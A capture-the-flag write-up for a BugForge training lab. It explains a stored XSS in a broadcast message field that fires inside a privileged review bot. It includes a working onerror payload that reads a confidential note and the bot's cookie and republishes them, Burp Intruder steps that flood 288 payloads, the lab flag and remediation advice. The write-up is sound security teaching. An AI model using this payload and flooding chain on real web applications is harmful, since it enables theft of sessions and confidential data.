# MesaNet Portal — BugForge HARD Writeup

**Lab**: MesaNet Portal (BugForge HARD weekly)
**Date solved**: 2026-04-30
**Flag**: `bug{Q0z4fdlQhhOxUz1GOYiGta3gLLeND66V}`
**Vulnerability class**: Stored Cross-Site Scripting (XSS) via unsanitized `message` field, exploited against a privileged headless bot (`sysbot`) that owns the confidential note containing the flag.

---

## 1. Executive Summary

The MesaNet portal exposes a "Rail Broadcasts" application with two key behaviors:

1. **`POST /api/rail/create` (via `/gateway`)** stores an `announcement` whose `message` field is later rendered **unescaped** as HTML.
2. **`POST /api/rail/review`** queues the broadcast for an "Automated Oversight System" — a headless browser bot (`sysbot`, user id `4`) that opens `/apps/rail?view=<view>` with its own privileged session.

The browser-side rendering pipeline does:

```js
fetch('/api/rail/' + view)
  .then(r => r.json())
  .then(data => { document.getElementById('broadcast-content').innerHTML = data.html; });
```

`data.html` is built server-side by interpolating `${message}` directly. Anyone with a session that has `create` permission can plant a stored XSS that fires inside the bot's browser. The bot is the only user who can read `notes` id `6` (`classification: confidential`, `ownerUsername: sysbot`), so we use the bot's session as a confused deputy:

* Bot fetches `/api/notes/get` for note `6` (succeeds — bot owns it).
* Bot calls `/api/rail/create` to publish the note's body as a public broadcast.
* We list `/api/rail/announcements` and read the flag.

---

## 2. Reconnaissance

### 2.1 Surface map

| Endpoint | Method | Reachable | Notes |
|---|---|---|---|
| `/api/rail/announcements` | POST via `/gateway` | gateway-only | Lists all broadcasts |
| `/api/rail/create` | POST via `/gateway` | gateway-only | Creates broadcast — **XSS sink** |
| `/api/rail/current` | POST via `/gateway` + GET direct | both | Selects "current" broadcast, returns `{html, announcement, systemTime}` |
| `/api/rail/review` | POST via `/gateway` | gateway-only | Submits a broadcast for the Oversight bot |
| `/api/rail/status` | POST via `/gateway` | gateway-only | Health info |
| `/api/rail/display` | GET direct | direct-only | Returns `{html, skin, systemTime}`, server-side cached 60 s with header `X-Cache`. Distractor. |

The hint that circulated in chat ("4 paths through the gateway and 2 in URL directly") was slightly off: the gateway exposes 5 endpoints; the cache headers on `display` are decoration.

### 2.2 Why the rendering is vulnerable

Server-side template (reconstructed from the `current` response):

```html
<div class="rail-broadcast rail-type-${type}">
  <div class="rail-priority-badge rail-priority-${priority}">${priority.upper}</div>
  <p class="rail-msg">${message}</p>
  <div class="rail-meta">
    <span class="rail-ts">${timestamp}</span>
    <span class="rail-type-label">[${type.upper}]</span>
  </div>
</div>
```

`type` and `priority` are validated against an allowlist. `message` is **not** sanitised, so any HTML survives the round trip. Because the client-side renderer assigns this HTML through `innerHTML`, `<script>` blocks are stripped by the parser — but `<img onerror>` and `<svg onload>` are not.

### 2.3 The selection algorithm

`/api/rail/display` and `/api/rail/current` both pick a single broadcast each request based on the simulated facility clock and the announcement's `priority` and `timestamp` fields. The exact algorithm doesn't matter — flooding the table with high-priority broadcasts spaced every 5 simulated minutes (288 in total) guarantees that whichever instant the bot fires, one of our payloads will be selected.

### 2.4 Permissions baseline

Logging in as the provided low-privilege user `operator:operator` (clearance L3):

```json
POST /gateway
{
  "id": "a7f3c4e9-8b2d-4a6f-9c1e-5d8a3b7f2c4e",
  "endpoint": "/api/notes/get",
  "data": {"id": 6}
}

→ { "error": "Insufficient permissions to read this note" }
```

Note `6` is the only id that returns "Insufficient permissions" rather than "Note not found", which indicates it exists but is gated by classification. We need a more privileged session — that is what the bot provides.

---

## 3. Exploit Chain

### 3.1 Payload

The XSS body fits inside an `<img onerror>` attribute. Because the attribute is single-quoted, double quotes inside the JS body are safe:

```js
fetch("/gateway", {
  method: "POST",
  headers: { "Content-Type": "application/json" },
  credentials: "include",
  body: JSON.stringify({
    id: "a7f3c4e9-8b2d-4a6f-9c1e-5d8a3b7f2c4e",
    endpoint: "/api/notes/get",
    data: { id: 6 }
  })
})
.then(r => r.json())
.then(d => fetch("/gateway", {
  method: "POST",
  headers: { "Content-Type": "application/json" },
  credentials: "include",
  body: JSON.stringify({
    id: "f7d4e8b2-3a1c-4f9e-8b2d-1c5e7a9f3b6d",
    endpoint: "/api/rail/create",
    data: {
      type: "announcement",
      message: "PWN_" + document.cookie + "_" + JSON.stringify(d).slice(0, 400),
      timestamp: "00:00:01",
      priority: "low"
    }
  })
}));
```

Wrapped in HTML:

```html
<img src=x onerror='<minified JS above>'>
```

### 3.2 Steps

1. `POST /login` with `username=operator&password=operator` — bag the `connect.sid` session cookie.
2. For each `HH:MM` from `00:00` to `23:55` step 5 minutes, `POST /gateway` to `/api/rail/create` with the payload as `message`, `priority:"high"`, `type:"safety"`. **288 broadcasts**, all high priority.
3. `POST /gateway` to `/api/rail/review` with `data:{view:"display"}` (or `view:"current"`) — repeat ~5 times to ensure the queue is hit.
4. Wait 30–60 seconds.
5. `POST /gateway` to `/api/rail/announcements` and look for entries whose `created_by` is **not** `system` and **not** the attacker. The bot user `sysbot` will have published the note body.

### 3.3 Result

```text
{
  "id": 315,
  "created_by": "sysbot",
  "message": "PWN__{\"note\":{\"id\":6,\"ownerId\":4,\"ownerUsername\":\"sysbot\",\"title\":\"CLASSIFIED: Lambda Complex — Xen Resonance Data\",\"body\":\"bug{Q0z4fdlQhhOxUz1GOYiGta3gLLeND66V}\",\"classification\":\"confidential\",...
}
```

Flag: `bug{Q0z4fdlQhhOxUz1GOYiGta3gLLeND66V}`.

---

## 4. Reproduction with Burp Suite

> All requests assume the lab URL `https://lab-<id>-<hash>.labs-app.bugforge.io`. Replace it with whatever your instance shows.

### 4.1 Preparation

1. Launch Burp Suite and configure the browser proxy (built-in Chromium under **Proxy → Open browser** is easiest — its TLS interception is pre-trusted).
2. Visit the lab URL in the proxied browser. You should see the login page.
3. Submit `operator` / `operator`. Burp's **Proxy → HTTP history** now contains a `POST /login`. The response sets `Set-Cookie: connect.sid=...`.
4. Browse to **Apps → Rail Broadcasts** so you have a baseline of legitimate `/gateway` and `/api/rail/...` traffic in history.

### 4.2 Confirm the XSS sink

1. In **Proxy → HTTP history**, find the `POST /gateway` whose JSON body endpoint is `/api/rail/announcements` (it loads the page).
2. **Right-click → Send to Repeater**.
3. In **Repeater**, change the body to:

   ```json
   {
     "id": "f7d4e8b2-3a1c-4f9e-8b2d-1c5e7a9f3b6d",
     "endpoint": "/api/rail/create",
     "data": {
       "type": "safety",
       "message": "<img src=x onerror=alert(1)>",
       "timestamp": "23:59:59",
       "priority": "high"
     }
   }
   ```

4. **Send**. The response should be `{"announcement":{"id":<n>, ...}}` — note the id; this confirms `message` is stored verbatim.
5. In your proxied browser, navigate to `/apps/rail?view=current`. The `alert(1)` fires when the renderer assigns the response HTML through `innerHTML`. XSS confirmed.

### 4.3 Identify the privileged target

1. In Repeater, change the `endpoint` to `/api/notes/get` and `id` field to `a7f3c4e9-8b2d-4a6f-9c1e-5d8a3b7f2c4e`, with `data:{ "id": 6 }`. The response is `{"error":"Insufficient permissions to read this note"}`. `6` is the locked confidential note.
2. Try ids `5`, `7`, `8`. All except `6` either succeed or return `"Note not found"`. This is the high-value target.

### 4.4 Build the exfil payload (Decoder + Repeater)

1. Open **Decoder**.
2. Paste the JS exfil body (single line) into the top pane:

   ```js
   fetch("/gateway",{method:"POST",headers:{"Content-Type":"application/json"},credentials:"include",body:JSON.stringify({id:"a7f3c4e9-8b2d-4a6f-9c1e-5d8a3b7f2c4e",endpoint:"/api/notes/get",data:{id:6}})}).then(r=>r.json()).then(d=>fetch("/gateway",{method:"POST",headers:{"Content-Type":"application/json"},credentials:"include",body:JSON.stringify({id:"f7d4e8b2-3a1c-4f9e-8b2d-1c5e7a9f3b6d",endpoint:"/api/rail/create",data:{type:"announcement",message:"PWN_"+document.cookie+"_"+JSON.stringify(d).slice(0,400),timestamp:"00:00:01",priority:"low"}})}));
   ```

3. Embed it in an HTML attribute:

   ```html
   <img src=x onerror='<the JS above>'>
   ```

   Single quotes around the attribute let the JS use double quotes freely.

4. Send a `POST /gateway` from Repeater with this payload as `data.message`, `priority:"high"`, any `type` from the allowlist (`safety` works), `timestamp:"23:59:50"`. Verify the create succeeds.

### 4.5 Flood broadcasts with Intruder

The single payload in 4.4 only fires when its `timestamp` happens to match the bot's facility clock. To remove timing dependence, plant copies at every 5 simulated minutes.

1. From Repeater, **Right-click → Send to Intruder**.
2. **Positions tab**: clear all auto-marked positions. Mark only the `timestamp` value, e.g. `"timestamp":"§00:00:00§"`.
3. **Payloads tab → Payload type: Custom iterator**.

   * Position 1: `00`–`23` (hours) — paste 24 lines.
   * Position 2: literal `:`.
   * Position 3: `00`, `05`, `10`, `15`, `20`, `25`, `30`, `35`, `40`, `45`, `50`, `55`.
   * Position 4: literal `:00`.

   This generates 288 unique HH:MM:00 strings. Alternatively use a **Simple list** with all 288 timestamps pre-built.
4. **Resource pool**: 1 concurrent request is fine; this lab is not rate-limited on `/api/rail/create`.
5. **Start attack**. Intruder fires 288 `POST /gateway` requests, each creating a fresh high-priority XSS broadcast. Wait until status `200` for all rows.

### 4.6 Trigger the bot

1. Back in Repeater, build a new request:

   ```json
   {
     "id": "f7d4e8b2-3a1c-4f9e-8b2d-1c5e7a9f3b6d",
     "endpoint": "/api/rail/review",
     "data": { "view": "display" }
   }
   ```

   Send it. Expected response: `{"id":<n>,"reviewId":<n>,"message":"Broadcast review request submitted..."}`.

2. Repeat 5–10 times, alternating `view` between `current` and `display`. Each call queues the bot to render `/apps/rail?view=<view>`.

### 4.7 Read the flag

1. Wait 30–60 seconds. The headless bot has retry/queue latency; in our run it took ~45 seconds for the first announcement to appear.
2. In Repeater, change the request to:

   ```json
   {
     "id": "f7d4e8b2-3a1c-4f9e-8b2d-1c5e7a9f3b6d",
     "endpoint": "/api/rail/announcements",
     "data": {}
   }
   ```

   Send it.
3. In the response, scroll to the bottom. Filter the JSON for entries where `"created_by":"sysbot"`. Their `message` field begins with `PWN__` followed by the JSON of note 6, including:

   ```text
   "body":"bug{Q0z4fdlQhhOxUz1GOYiGta3gLLeND66V}"
   ```

You can also simply **right-click the response → Show response in browser → Search for `bug{`**.

---

## 5. Why the original write-up no longer works

A March 2026 write-up of the same lab chained:

* OTP bypass on `/dev/verify` via JavaScript `Array.includes()` confusion.
* Mass-assignment of `entitlements` on `/gateway` to elevate the operator session.

Both were patched in this instance:

* OTP is now 6 digits (1 000 000 space) with strict rate limiting.
* `/gateway` no longer applies attacker-controlled `entitlements`.

The stored-XSS path through `message` survived because the original write-up never identified it as the intended bug — the `current` and `display` views render `data.html` via `innerHTML`, which is the actual primitive the lab is designed around.

---

## 6. Remediation

* **Sanitise `message` server-side** before interpolating into the broadcast HTML, e.g. `escape-html` on the field, or build the DOM client-side from JSON instead of returning rendered HTML.
* On the client, replace `innerHTML = data.html` with a typed renderer that uses `textContent` for the message and `classList` for type/priority.
* Consider scoping the bot to a session that lacks read access to confidential notes — least-privilege the reviewer.
* Add a per-user create-rate limit on `/api/rail/create` so 288 sequential broadcasts can't be planted in seconds.

---

## 7. References

* MITRE CWE-79 — Improper Neutralization of Input During Web Page Generation (XSS)
* OWASP DOM-based XSS Prevention Cheat Sheet
* PortSwigger — *Stored XSS exploit chains via privileged bot users*